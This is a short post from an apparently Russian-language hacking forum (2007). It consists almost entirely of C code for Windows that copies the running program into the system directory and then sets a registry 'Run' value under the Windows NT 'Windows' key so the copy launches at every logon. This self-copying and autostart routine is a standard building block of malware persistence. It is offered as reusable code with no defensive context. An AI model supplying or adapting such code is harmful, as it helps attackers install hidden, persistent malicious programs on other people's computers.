Показать сообщение отдельно

  #3  
Старый 07.04.2007, 18:50
-n00by-
Познающий
Регистрация: 10.03.2007
Сообщений: 49
Провел на форуме:
232747

Репутация: 45
Отправить сообщение для -n00by- с помощью ICQ
По умолчанию

Код:
void Copy(void)
{
	char FileName[256],String[256];;
	GetModuleFileName(0,FileName,256);
	GetSystemDirectory(String,255);
	lstrcat(String,"\\**имя_файла**");
	CopyFile(FileName,String,TRUE);
}

DWORD Autorun(void)
{
	char String[256];
	HKEY hKey;
	GetSystemDirectory(String,255);
	lstrcat(String,"**имя_файла**");
	DWORD ret = RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",&hKey);
	if (ret==ERROR_SUCCESS)
	{
		ret = RegSetValueEx(hKey,"Run",0,REG_SZ,(const unsigned char *)String,lstrlen(String));
	}
	if (ret==ERROR_SUCCESS)
		return TRUE;
	else 
		return FALSE;
}